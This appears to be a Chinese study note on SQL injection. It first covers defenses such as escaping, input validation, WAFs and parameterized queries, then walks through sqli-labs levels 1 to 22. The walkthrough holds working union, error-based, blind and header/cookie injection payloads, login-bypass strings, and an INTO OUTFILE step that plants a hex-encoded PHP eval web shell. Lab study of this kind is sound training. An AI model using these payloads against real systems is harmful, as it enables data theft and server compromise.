echo "Executing query: " . $query . "<br /><br />";
if (!mysqli_query($conn ,$query))
{
die('Error: ' . mysqli_error($conn));
}
$result = mysqli_query($conn, $query);
$row = mysqli_fetch_array($result);
<SNIP>
上述代码对用户的输入没有任何过滤,从而导致了sql注入漏洞
我们可以使用mysqli_real_escape_string()函数。此函数对'
和"
等字符进行转义,因此它们不具有任何特殊含义。从而对用户的输入进行过滤。
<SNIP>
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$query = "SELECT * FROM logins WHERE username='". $username. "' AND password = '" . $password . "';" ;
echo "Executing query: " . $query . "<br /><br />";
<SNIP>
函数的使用方式如上述代码
黑名单输入验证
例如输入邮箱时,我们可以验证格式是否为...@email.com
漏洞代码
<?php
if (isset($_GET["port_code"])) {
$q = "Select * from ports where port_code ilike '%" . $_GET["port_code"] . "%'";
$result = pg_query($conn,$q);
if (!$result)
{
die("</table></div><p style='font-size: 15px;'>" . pg_last_error($conn). "</p>");
}
<SNIP>
?>
我们看到 GET 参数port_code
直接在查询中使用,使用正则表达式进行限制
防御
<SNIP>
$pattern = "/^[A-Za-z\s]+$/";
$code = $_GET["port_code"];
if(!preg_match($pattern, $code)) {
die("</table></div><p style='font-size: 15px;'>Invalid input! Please try again.</p>");
}
$q = "Select * from ports where port_code ilike '%" . $code . "%'";
<SNIP>
用户权限
将超级管理员和普通用户给区分开来,保证普通用户只有最低的读取权限
web防火墙
Web 应用程序防火墙 (WAF) 用于检测恶意输入并拒绝任何包含它们的 HTTP 请求。即使应用程序逻辑有缺陷,这也有助于防止 SQL 注入。 WAF 可以是开源 (ModSecurity) 或高级 (Cloudflare)。其中大多数都有基于常见 Web 攻击配置的默认规则。例如,任何包含字符串INFORMATION_SCHEMA
的请求都将被拒绝,因为它通常在利用 SQL 注入时使用。
参数化查询
参数化查询包含输入数据的占位符,然后由驱动程序转义并传递这些占位符。我们没有直接将数据传递到 SQL 查询中,而是使用占位符,然后用 PHP 函数填充它们。
修改后的代码
<SNIP>
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM logins WHERE username=? AND password = ?" ;
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, 'ss', $username, $password);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$row = mysqli_fetch_array($result);
mysqli_stmt_close($stmt);
<SNIP>
查询被修改为包含两个占位符,用?
标记。用户名和密码将放置的位置。然后,我们使用mysqli_stmt_bind_param()函数将用户名和密码绑定到查询。这将安全地转义任何引号并将值放入查询中。
sqli-labs
第一关-闭合符'
一个有回显判断闭合符的好方法,\后面的就是闭合符,什么也没有就是无回显
原理:转义符 例如:?id=1\ 看报错的回显
闭合符'单引号
payload
/?id=-1' union select 1,group_concat(username),group_concat(password) from users--
第二关-无闭合符
无闭合符
payload
/?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
第三关-闭合符')
闭合符')
payload
/?id=-1') union select 1,group_concat(username),group_concat(password) from users--+
第四关-闭合符")
闭合符")
payload
/?id=-1") union select 1,group_concat(username),group_concat(password) from users--+
第五关-报错注入
闭合符'
payload
/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ 爆出数据库名
/?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 3,1),0x7e))--+ 爆出表名
注意,limit n,1来一个个爆出表名
/?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))--+ 爆出字段名
修改limit n,1一个个爆出来
/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e))--+ 爆出数据
第六关-报错注入
跟上一关一样
闭合符是"
/?id=1" and extractvalue(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e))--+
第七关-文件读写注入-outfile
无回显判断闭合符
首先,需要先让出现错误的报错页面
其次,在输入的闭合符后面加上--+,如果由报错页面变为正常页面,就说明这是正确的闭合符
闭合符为'))
outfile的前提条件
1.MySQL中secure_file_priv=''
2.权限为root
3.知道网站的绝对路径
payload
/?id=-1')) union select 1,0x3c3f70687020406576616c28245f504f53545b226861636b6572225d293b3f3e,3 into outfile%20 'D:/phpstudyV8/phpstudy_pro/WWW/sqli-labs-master/Less-7/shell.php' --+
注意,注入的代码要进行hex转码,记得要在十六进制字符前加上0x
hex转码脚本
a = '<?php @eval($_POST["hacker"]);?>'
b = a.encode('utf-8').hex()
print(b)
蚁剑连接http://127.0.0.1:8989/Less-7/shell.php
第八关-布尔盲注-burp爆破
先判断闭合符
/?id=1 出现正常页面
/?id=1' 出现报错页面
/?id=1'--+ 出现正常页面
判断出闭合符为单引号
payload
/?id=1'union select 1,2,if(database()='security',sleep(5),0)--+ 判断出数据库是security
/?id=1'union select 1,2,if((select table_name from information_schema.tables where table_schema='security' limit 3,1)='users',sleep(5),0)--+ 判断出表名由users
注意,limit是关键
/?id=1'union select 1,2,if((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)='username',sleep(5),0)--+ 判断出每一个字段名
/?id=1'union select 1,2,if((select password from users limit 0,1)='dumb',sleep(5),0)--+ 判断出数据
注意,其中的dump不能区分大小写
另一种payload
正常流程bp爆破,记得要先判断长度是多少
1,2位置同理
/?id=1'and (select ascii(substr(database(),1,1))=115)--+
或者
/?id=1'and ascii(substr(database(),1,1))=115--+
爆破出数据库名
/?id=1'and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+ 爆出表的长度,6是爆破位
注意:爆破的时候要开url编码
这是爆破字段长度
/?id=1'and length((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1))=3--+
3是爆破位
类似的,每一步都跟上面步骤一样,十分繁琐
第九关-时间盲注-闭合'
判断时间盲注的闭合
/?id=1' and sleep(5)--+
根据能不能正常执行来判断闭合符,如果能证明是正确的闭合符
payload
/?id=1' and if(length(database())=8,sleep(5),0)--+
判断数据库长度
/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
爆破出数据库名,爆破点为1和115
/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),0)--+
爆破出表名,这里懒得写判断长度那一步了
/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1))=105,sleep(5),0)--+
爆破出字段名
/?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),0)--+
爆破出数据
第十关-时间盲注闭合"
先判断闭合符
/?id=1" and sleep(5)--+
只有双引号才能正常执行
payload
跟上道题一样,就是单引号换双引号
第十一关-post-闭合'
在表单中,现在uname中输入\,打算判断闭合符
页面出现报错,发现
所以根据爆出的错误页面,知道了查询语句是uname+password
payload
bp抓包修改post
uname=-1'order by 3#&passwd=&submit=Submit
uname=-1'union select version(),database()#&passwd=&submit=Submit
uname=-1'union select version(),group_concat(table_name) from information_schema.tables where table_schema = 'security'#&passwd=&submit=Submit
uname=-1'union select version(),group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'#&passwd=&submit=Submit
无论在password或uname上都可以,另一个输入的别让报错就行
登录页面的payload
如果想绕过登录页面,直接用万能密码
1'or 1=1#
第十二关-post-闭合符")
单独uname输入\发现闭合符是")
payload
什么都跟上道题一样,换成")就行了
第十三关-时间盲注&布尔盲注&报错注入-闭合符')
上面那几道题都有payload,懒得写了,改一改闭合符就行
第十四关-报错注入&布尔盲注-闭合符"
速通,同上
第十五关-无回显-布尔盲注-闭合符'
无回显,得先使用万能密码尝试登录页面,才能知道闭合符是什么,发现
1'or 1=1#可以出现成功的登录页面
所以判断出闭合符是'
payload同上,微调一下即可
第十六关-无回显-布尔盲注||文件注入-闭合符")
万能密码1") or 1=1#判断出闭合符
然后布尔盲注,速通,微调
估计是以上都能文件注入攻击,至少这个可以,其他的懒得试
第十七关-密码重置页面-报错注入-过滤uname表单
我们无法在初始页面判断出闭合符,所以换个思路(看源代码发现用户名被魔术方式过滤了)
首先我们要知道这是一个密码重置页面,该页面会根据我们输入的用户名,然后输入新密码,就会重置旧密码。由此我们可以知道,必须得输入正确的用户名
输入用户名admin,随便一个密码重置后,页面显示成功
我们在密码这里测试闭合符
uname=admin&passwd=1'&submit=Submit 出现报错
uname=admin&passwd=1'#&submit=Submit 加上#发现页面正常
因此得出单引号闭合符
由于页面有回显,我们可以考虑报错注入
uname=admin&passwd=1'and extractvalue(1,concat(0x7e,(database()),0x7e))#&submit=Submit
uname=admin&passwd=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#&submit=Submit
这种,照常往下
第十八关-UA头
一开始输入admin+admin半天进不去,进入主页面重新弄一下数据库就好了
先登录进入这个页面,这是一个页面登录系统
发现显示出UA头的数据,推测应该是UA头的sql注入
判断在UA头的闭合符,就看直接输入的字符,哪个报错是哪个
bp抓包发现'出现了报错
可以选择进行报错注入
正常的报错注入不行,我们得白盒去看源代码,才能知道插入语句,闭合value
可以得知闭合应该是'语句,1,1)
payload
'and extractvalue(1,concat(0x7e,(database()),0x7e)),1,1)#
报错注入一步步就行
第十九关-referer-报错注入
输入admin+admin进去,页面出现了报错
应该是进行referer头注入
bp抓包,在referer最后面输入单引号,果然发现了响应了报错,证明存在sql注入
根据源代码输入payload
'and extractvalue(1,concat(0x7e,(database()),0x7e)),1)#
接下来一步步进行报错注入就好
第二十关-cookie-报错注入
继续输入admin登录
登陆后的页面如下
发现有一个Delete Your Cookie
推测可能是关于cookie的sql注入
由于这个页面显示比较多,直接抓包这个页面,在cooike出加上单引号,发现报错
看源代码发现可以正常闭合
'and extractvalue(1,concat(0x7e,(database()),0x7e))#
之后速通
第二十一关-base64编码-报错注入-闭合符')
bp抓包发现cookie给base64编码了
先判断闭合符,将admin\进行base64编码,得到YWRtaW5c,注入到cookie中
可知闭合符为')
注入
之后速通
第二十二关-base64-报错注入-闭合符"
步骤一样只不过换了个闭合符
自此基础sqli-labs完成
补充mid函数
mid(语句,起始,位数):用于报错注入中显示不完善的问题
eg
/?id=1' and extractvalue(1,concat(0x7e,mid((select flag from ctfshow.flag),22,31),0x7e))--+